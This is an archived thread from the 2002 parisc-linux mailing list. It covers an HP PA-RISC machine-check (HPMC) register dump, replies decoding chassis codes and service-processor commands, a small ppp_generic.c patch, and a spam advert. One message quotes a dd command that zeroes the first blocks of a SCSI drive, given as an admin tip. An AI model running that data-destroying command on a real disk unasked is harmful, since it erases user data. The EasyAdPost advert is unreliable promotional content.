00
24-27  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
28-31  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space                    =3D 0x0000000000000000
IIA Offset                   =3D 0x0000000000000000
CPU State                    =3D 0x00000000

<Press any key to continue (q to quit)>=20

-----------------  Processor 1 HPMC Information ------------------

   No valid timestamp

HPMC Chassis Codes =3D No chassis codes logged

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
12-15  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
16-19  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
20-23  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
24-27  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
28-31  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00

<Press any key to continue (q to quit)>=20

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
12-15  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
16-19  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
20-23  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
24-27  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
28-31  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

<Press any key to continue (q to quit)>=20

IIA Space                    =3D 0x0000000000000000
IIA Offset                   =3D 0x0000000000000000
Check Type                   =3D 0x00000000
CPU State                    =3D 0x00000000
Cache Check                  =3D 0x00000000
TLB Check                    =3D 0x00000000
Bus Check                    =3D 0x00000000
Assists Check                =3D 0x00000000
Assist State                 =3D 0x00000000
Path Info                    =3D 0x00000000
System Responder Address     =3D 0x0000000000000000
System Requestor Address     =3D 0x0000000000000000
Check Summary                =3D 0x0000000000000000
Available Memory             =3D 0x0000000000000000
CPU Diagnose Register 2      =3D 0x0000000000000000
CPU Status Register 0        =3D 0x0000000000000000
CPU Status Register 1        =3D 0x0000000000000000
SADD LOG                     =3D 0x0000000000000000
Read Short LOG               =3D 0x0000000000000000

<Press any key to continue (q to quit)>=20

-----------------  Processor 1 LPMC Information ------------------

Check Type                   =3D 0x00000000
IC Parity Info               =3D 0x00000000
Cache Check                  =3D 0x00000000
TLB Check                    =3D 0x00000000
Bus Check                    =3D 0x00000000
Assists Check                =3D 0x00000000
Assist State                 =3D 0x00000000
Path Info                    =3D 0x00000000
System Responder Address     =3D 0x0000000000000000
System Requestor Address     =3D 0x0000000000000000

-----------------  Processor 1 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
12-15  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
16-19  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
20-23  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
24-27  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
28-31  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00

<Press any key to continue (q to quit)>=20

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
12-15  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
16-19  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
20-23  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
24-27  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
28-31  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space                    =3D 0x0000000000000000
IIA Offset                   =3D 0x0000000000000000
CPU State                    =3D 0x00000000

<Press any key to continue (q to quit)>=20

Memory Error Log Information:

Timestamp =3D   Thu Sep  12 08:48:47 GMT 2002    (20:02:09:12:08:48:47)

                    Trans  Addr                   Central Bus
Status  Requestor     id    par  CP  AD  DV       Address/Data
------  ----------  -----  ----  --  --  --  ---------------------

 0x14   0xfffa0000   0x00   0x0   0   0   0  0x00000000 0x00000000

                                                    Memory
                                  ECC Reg     Address      Data
                                 ----------  ---------- ----------

                                 0x00000000  0x00000000 0x00000000
                                                        0x00000000
                                                        0x00000000
                                                        0x00000000
                                                        0x00000000

<Press any key to continue (q to quit)>=20

I/O Module Error Log Information:

Timestamp =3D   Thu Sep  12 08:48:49 GMT 2002    (20:02:09:12:08:48:49)

Bus    HPA       Module Type      Path  Slt Md Sev  Estat Requestor  Respon=
der
--- ---------- ---------------- -------- -- -- ---- ----- ---------- ------=
----
 0  0xfff88000 I/O Adapter      8         2  0  he   0x0d 0x00000000 0x0000=
0000
 0  0xfff8a000 I/O Adapter      10        2  2  he   0x0d 0x00000000 0x0000=
0000

<Press any key to continue (q to quit)>=20

IO Bus Converter Log
--------------------

IOA0 HPA            =3D 0xfff88000
IOA0 UBC_IO_CONTROL =3D 0x00020080
GSC1 HPA            =3D 0xf1000001
IOA0 IO_IO_LO       =3D 0xf1000000
IOA0 IO_IO_HI       =3D 0xf1800000
IOA0 IO_IO_LO_HV    =3D 0xfc000000
IOA0 IO_IO_HI_HV    =3D 0xfff80000

IOA1 HPA            =3D 0xfff8a000
IOA1 UBC_IO_CONTROL =3D 0x00020080
GSC2 HPA            =3D 0xf1800001
IOA1 IO_IO_LO       =3D 0xf1800000
IOA1 IO_IO_HI       =3D 0xf2000000
IOA1 IO_IO_LO_HV    =3D 0x00000000
IOA1 IO_IO_HI_HV    =3D 0x00000000

  NIO bus converter register data is not available.


Main Menu: Enter command >=20
Main Menu: Enter command >=20
--LZvS9be/3tNcYl/X--


From - Thu Nov 08 21:24:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP problems (hardware gurus, please read)
Date: Thu, 12 Sep 2002 12:49:43 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20020912184943.99E5C4829@dsl2.external.hp.com>
References: <20020912054834.GA32209@www1.dt-link.fi> <Pine.LNX.4.44.0209112338570.1464-100000@garibaldi.apptechsys.com>  <20020912091018.GA16372@dt-link.fi>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621708 13853 80.91.229.3 (22 Nov 2014 02:01:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Arto Jantunen <viiru@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 12 12:49:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 99E5C4829; Thu, 12 Sep 2002 12:49:43 -0600 (MDT)
In-Reply-To: Message from Arto Jantunen <viiru@debian.org> 
   of "Thu, 12 Sep 2002 12:10:18 +0300." <20020912091018.GA16372@dt-link.fi> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16096

Arto Jantunen wrote:
> > Also, are there any HP hardware gurus out there that can explain these odd 
> > io numbers?  Could they be relevant?

Yes, I need to find the right docs to decode the meaning though.
I've not been motivated to chase this lately.

A few more observsation about HPMC problems:
o A500-55 and A500-44 don't have this problem.
o SMP kernel on 1 CPU and UP kernel on the same box *should* do exactly
  the same things besides aquire/release spinlocks. This suggests someone
  fixed something in the non-SMP code path and missed the SMP part.

> I did this, but the stuff I got from ser pim is almost all zeroes.
> I'm attaching it anyway, but I don't think it is correct. I rebooted
> by shutting it down from the power switch, is there a "softer" way
> to do it (I only have a serial console)?

HP9000/800 series machines should all support <ctl>-B
to get to service processor prompt.
"he" for help.
"rs" to reset the machine.
"tc" to capture current state of the machine for debugging "hung" machines.
(TC data is available with "ser pim" output")

hth,
grant


From - Thu Nov 08 21:24:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP problems (hardware gurus, please read)
Date: Thu, 12 Sep 2002 13:12:36 -0700 (PDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <20020912201236.63396.qmail@web12501.mail.yahoo.com>
References: <20020912184943.99E5C4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621708 13858 80.91.229.3 (22 Nov 2014 02:01:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 12 14:12:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id AA9524829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Sep 2002 14:12:41 -0600 (MDT)
Original-Received: from [156.153.255.126] by web12501.mail.yahoo.com via HTTP; Thu, 12 Sep 2002 13:12:36 PDT
In-Reply-To: <20020912184943.99E5C4829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16097


> HP9000/800 series machines should all support <ctl>-B
> to get to service processor prompt.
> "he" for help.
> "rs" to reset the machine.
> "tc" to capture current state of the machine for debugging "hung"
> machines.
> (TC data is available with "ser pim" output")

The only way you can do a <ctrl>-B on a D/R class is *if* it has a
A3262-69311 card which is the ups/modem/remote access port.  It has a
switch on the back that has to be in the service mode for the <cntl>-B
to work.  Most of the higher end D/R's have the card and for the lower
models it was and optional part.  So if you can't do a <cntl>-B, check
the back of your machine and look for a card that says access port on
it with a little black 2-way switch on it with 2 positions (normal and
service).  All the service position does is allow remote access and
enable the <cntl>-B service processor functions. 

 
>Timestamp =   Thu Sep  12 08:48:47 GMT 2002    (20:02:09:12:08:48:47)
>
>HPMC Chassis Codes = 0xcbf0  0x5002  0x7d03  0x5408  0x5508  0xcbfb 

 
CBF0-HPMC occurred-starts normal HPMC process
5002-Path error
7D03-Memory MSI read error-says maybe due to a software error
5508-Broad error-part of the hpmc handler
5408-Broad error-part of the hpmc handler
CBFB-Branch to OS HPMC-Normal HPMC process

I'm still trying to locate my I/O troubleshooter.  I'll get back to you
later on that.  I would say that the MSI read error is generated by the
apt-get and is causing the problem.  That's only a quick guess on my
part since I've got to run and replace a system card in an R Class
right now.

derek

__________________________________________________
Do you Yahoo!?
Yahoo! News - Today's headlines
http://news.yahoo.com


From - Thu Nov 08 21:24:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] 2.4.19 ppp_generic.c warning fixed
Date: Fri, 13 Sep 2002 00:00:49 -0600 (MDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <20020913060049.8A4974829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621708 13861 80.91.229.3 (22 Nov 2014 02:01:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: paulus@samba.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 00:00:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 8A4974829; Fri, 13 Sep 2002 00:00:49 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16098

Paul,
Wearing my other hat (parisc-linux), I've a fix for "used before
initialized" warning in ppp_generic.c.

The ret value might want to be something other than zero in
the "if (skb) break;" condition.

thanks,
grant

Index: drivers/net/ppp_generic.c
===================================================================
RCS file: /var/cvs/linux/drivers/net/ppp_generic.c,v
retrieving revision 1.11
diff -u -p -r1.11 ppp_generic.c
--- drivers/net/ppp_generic.c   4 Aug 2002 22:58:31 -0000       1.11
+++ drivers/net/ppp_generic.c   13 Sep 2002 05:57:15 -0000
@@ -387,9 +387,9 @@ static ssize_t ppp_read(struct file *fil
        for (;;) {
                set_current_state(TASK_INTERRUPTIBLE);
                skb = skb_dequeue(&pf->rq);
+               ret = 0;
                if (skb)
                        break;
-               ret = 0;
                if (pf->dead)
                        break;
                ret = -EAGAIN;


From - Thu Nov 08 21:24:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OT HP-UX Formatting Scsi disks
Date: Thu, 12 Sep 2002 23:26:39 -0700 (PDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20020913062639.20473.qmail@web12503.mail.yahoo.com>
References: <sd78d3a1.013@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621709 13868 80.91.229.3 (22 Nov 2014 02:01:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:49 +0000 (UTC)
To: Jurriaan Kalkman <Jurriaan.Kalkman@zrt.nl>,
	smithjames@comcast.net, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 00:26:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12503.mail.yahoo.com (web12503.mail.yahoo.com [216.136.173.195])
	by dsl2.external.hp.com (Postfix) with SMTP id 1523A4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Sep 2002 00:26:42 -0600 (MDT)
Original-Received: from [24.197.204.164] by web12503.mail.yahoo.com via HTTP; Thu, 12 Sep 2002 23:26:39 PDT
In-Reply-To: <sd78d3a1.013@ms-zrt1>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16099

> try zeroing out the first few blocks:
> 
> dd if=/dev/zero of=/dev/offending_scsi_drive bs=512 count=4

I've decided to load HP-UX on the E55 I've been playing with since
Debian doesn't work very well on it right now.  I'm sending this OT
because I need to know where dd lives on an HP-UX 11.11 box.  I'm in a
limited shell and need an absolute path to dd to get it to accomplish
the above.  It's so limited it won't even give me the ls command.  Any
of you HP-UX guys out there?  Since I'm at home I don't have access to
an HP-UX box at work.  Thanks.

derek

__________________________________________________
Do you Yahoo!?
Yahoo! News - Today's headlines
http://news.yahoo.com


From - Thu Nov 08 21:24:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "peterson@easyadpost.com" <peterson@easyadpost.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] http://www.parisc-linux.org/release-0.9/
Date: Fri, 13 Sep 2002 16:09:02 +0800
Lines: 112
Approved: news@gmane.org
Message-ID: <20020913070356.9828F482F@dsl2.external.hp.com>
Reply-To: "peterson@easyadpost.com" <peterson@easyadpost.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="=_NextPart_2rfkindysadvnqw3nerasdf";
X-Trace: ger.gmane.org 1416621709 13874 80.91.229.3 (22 Nov 2014 02:01:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 01:04:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sbapp3 (unknown [202.106.127.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9828F482F
	for <parisc-linux@parisc-linux.org>; Fri, 13 Sep 2002 01:03:56 -0600 (MDT)
X-Priority: 3
X-Library: Indy 8.0.25
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16100

This is a multi-part message in MIME format

--=_NextPart_2rfkindysadvnqw3nerasdf
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

www.EasyAdPost.com --
Promote your Products and Services on Thousands of Classified Sites.
Simply the Best Way to Sell on the Internet=21=20
No time to post an ad for your business?
Struggling with numerous classified sites?
Seeking effective means to promote your business?=20
All of these are great reasons for you to visit EasyAdPost.com. Currently EasyAdPost.com boasts a database of 120,000+ popular classified sites, to which we will submit your classified ad quickly and effectively. We will as well submit your business site URL or Logo URL to hundreds of thousands of search engines and directories worldwide. Quickly and effectively, EasyAdPost.com will attract potentially millions of people to your business on the Internet, without any hidden cost for advertising=21

Visit Links below for More Details

***********************************************

To learn the generals about EasyAdPost, view http://www.easyadpost.com

To browse the sample list of classified sites, go to http://www.easyadpost.com/sample.php=20
Questions or comments? Post your Query Form to us at http://www.easyadpost.com/aboutus.php=20
***********************************************

Spend your market dollar wisely and good luck to your business=21

Peterson Slade
customer=40easyadpost.com
EasyAdPost.com

--=_NextPart_2rfkindysadvnqw3nerasdf
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>EasyAdPost.com</title>
<meta http-equiv=3D=22Content-Type=22 content=3D=22text/html; charset=3Diso-8859-1=22>
</head>

<body bgcolor=3D=22EBF1F8=22 text=3D=22=23000000=22>
<table width=3D=22500=22 border=3D=220=22 cellspacing=3D=220=22 cellpadding=3D=220=22>
  <tr>=20    <td bgcolor=3D=22=23FFFFFF=22 height=3D=2215=22 align=3D=22center=22> <font face=3D=22Verdana, Arial, Helvetica, sans-serif=22 size=3D=222=22><b><font color=3D=22=23FF0000=22>http://www.parisc-linux.org/release-0.9/errata-093.html</font></b></font>=20    </td>
  </tr>
  <tr>=20    <td bgcolor=3D=22=23FFFFFF=22 align=3D=22center=22>=20      <table width=3D=22446=22 border=3D=220=22 cellspacing=3D=220=22 cellpadding=3D=220=22>
        <tr>
          <td>
            <table border=3D=220=22 cellspacing=3D=220=22 cellpadding=3D=220=22>
              <tr align=3D=22center=22 valign=3D=22top=22>=20                <td colspan=3D=223=22 height=3D=2241=22>=20                  <p><a href=3D=22http://www.easyadpost.com=22 target=3D=22_blank=22><img src=3D=22http://imgdef.easyadpost.com/addef/em_01.gif=22 width=3D=22446=22 height=3D=2241=22 border=3D=220=22></a></p>
                  </td>
              </tr>
              <tr>=20                <td width=3D=2296=22><a href=3D=22http://www.easyadpost.com=22 target=3D=22_blank=22><img src=3D=22http://imgdef.easyadpost.com/addef/em_04.gif=22 width=3D=2296=22 height=3D=22160=22 border=3D=220=22></a></td>
                <td width=3D=22241=22><a href=3D=22http://www.easyadpost.com=22 target=3D=22_blank=22><img src=3D=22http://image1.easyadpost.com/adbmp/1/4/sna309.jpg=22 width=3D=22241=22 height=3D=22160=22 border=3D=220=22></a></td>
                <td width=3D=22109=22><a href=3D=22http://www.easyadpost.com=22 target=3D=22_blank=22><img src=3D=22http://imgdef.easyadpost.com/addef/em_05.gif=22 width=3D=22109=22 height=3D=22160=22 border=3D=220=22></a></td>
              </tr>
              <tr>=20                <td width=3D=2296=22><img src=3D=22http://imgdef.easyadpost.com/addef/em_06.gif=22 height=3D=226=22 border=3D=220=22></td>
                <td width=3D=22241=22><img src=3D=22http://imgdef.easyadpost.com/addef/em_07.gif=22 height=3D=226=22 border=3D=220=22></td>
                <td width=3D=22109=22><img src=3D=22http://imgdef.easyadpost.com/addef/em_08.gif=22 width=3D=22109=22 height=3D=226=22 border=3D=220=22></td>
              </tr>
            </table>
          </td>
        </tr>
        <tr>
          <td><a href=3D=22http://www.easyadpost.com=22 target=3D=22_blank=22><img src=3D=22http://imgdef.easyadpost.com/addef/em_09.gif=22 width=3D=22446=22 height=3D=2289=22 border=3D=220=22></a></td>
        </tr>
      </table>
     =20    </td>
  </tr>
  <tr>
    <td bgcolor=3D=22=23FFFFFF=22>&nbsp;</td>
  </tr>
  <tr>=20    <td bgcolor=3D=22=23FFFFFF=22>
      <table width=3D=22517=22 border=3D=220=22 cellspacing=3D=220=22 cellpadding=3D=220=22>
        <tr>=20          <td>=20            <table width=3D=22480=22 border=3D=220=22 cellspacing=3D=220=22 cellpadding=3D=220=22>
              <tr>=20                <td width=3D=2250=22>=20                  <p><font face=3D=22Geneva, Arial, Helvetica, san-serif=22><br>
                    </font> </p>
                </td>
                <td>
                  <p><font face=3D=22Verdana, Arial, Helvetica, sans-serif=22 size=3D=222=22><b><font color=3D=22=23FF0000=22>EasyAdPost.com=20                    --</font><br>
                    <font color=3D=22=233399FF=22>Promote your Products and Services on=20                    Thousands of Classified Sites.<br>
                    Simply the Best Way to Sell on the Internet=21 </font></b></font>=20                  </p>
                  <p><font face=3D=22Verdana, Arial, Helvetica, sans-serif=22 size=3D=222=22>No=20                    time to post an ad for your business?<br>
                    Struggling with numerous classified sites?<br>
                    Seeking effective means to promote your business?</font> </p>
                  <p><font face=3D=22Verdana, Arial, Helvetica, sans-serif=22 size=3D=222=22>All=20                    of these are great reasons for you to visit EasyAdPost.com.=20                    Currently EasyAdPost.com boasts a database of 120,000+ popular=20                    classified sites, to which we will submit your classified=20                    ad quickly and effectively. We will as well submit your business=20                    site URL or Logo URL to hundreds of thousands of search engines=20                    and directories worldwide. Quickly and effectively, EasyAdPost.com=20                    will attract potentially millions of people to your business=20                    on the Internet, without any hidden cost for advertising=21</font></p>
                  <p align=3D=22center=22><font face=3D=22Verdana, Arial, Helvetica, sans-serif=22 size=3D=222=22>Visit=20                    Links below for More Details</font></p>
                  <p align=3D=22center=22><font face=3D=22Verdana, Arial, Helvetica, sans-serif=22 size=3D=222=22>***********************************************</font></p>
                  <p><font face=3D=22Verdana, Arial, Helvetica, sans-serif=22 size=3D=222=22>To=20                    learn the generals about EasyAdPost, view <a href=3D=22http://www.easyadpost.com=22 target=3D=22_blank=22>http://www.easyadpost.com</a><br>
                    <br>
                    To browse the sample list of classified sites, go to <a href=3D=22http://www.easyadpost.com/sample.php%20=22 target=3D=22_blank=22>http://www.easyadpost.com/sample.php</a>=20                    </font></p>
                  <p><font face=3D=22Verdana, Arial, Helvetica, sans-serif=22 size=3D=222=22>Questions=20                    or comments? Post your Query Form to us at <a href=3D=22http://www.easyadpost.com/aboutus.php=22 target=3D=22_blank=22>http://www.easyadpost.com/aboutus.php</a>=20                    </font></p>
                  <p align=3D=22center=22><font face=3D=22Verdana, Arial, Helvetica, sans-serif=22 size=3D=222=22>***********************************************</font></p>
                  <p><font face=3D=22Verdana, Arial, Helvetica, sans-serif=22 size=3D=222=22>Spend=20                    your market dollar wisely and good luck to your business=21</font></p>
                  <p><font face=3D=22Verdana, Arial, Helvetica, sans-serif=22 size=3D=222=22>Peterson=20                    Slade<br>
                    <a href=3D=22mailto:customer=40easyadpost.com=22>customer=40easyadpost.com</a><br>
                    EasyAdPost.com<br>
                    </font></p>
<p>&nbsp;</p>
                </td>
              </tr>
            </table>
          </td>
        </tr>
      </table>
    <p>&nbsp;</p></td>
  </tr>
</table>
</body>
</html>

--=_NextPart_2rfkindysadvnqw3nerasdf--


From - Thu Nov 08 21:24:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Remote access card in D/R class
Date: Fri, 13 Sep 2002 16:02:46 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020913160246.T10583@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621709 13876 80.91.229.3 (22 Nov 2014 02:01:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 09:02:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
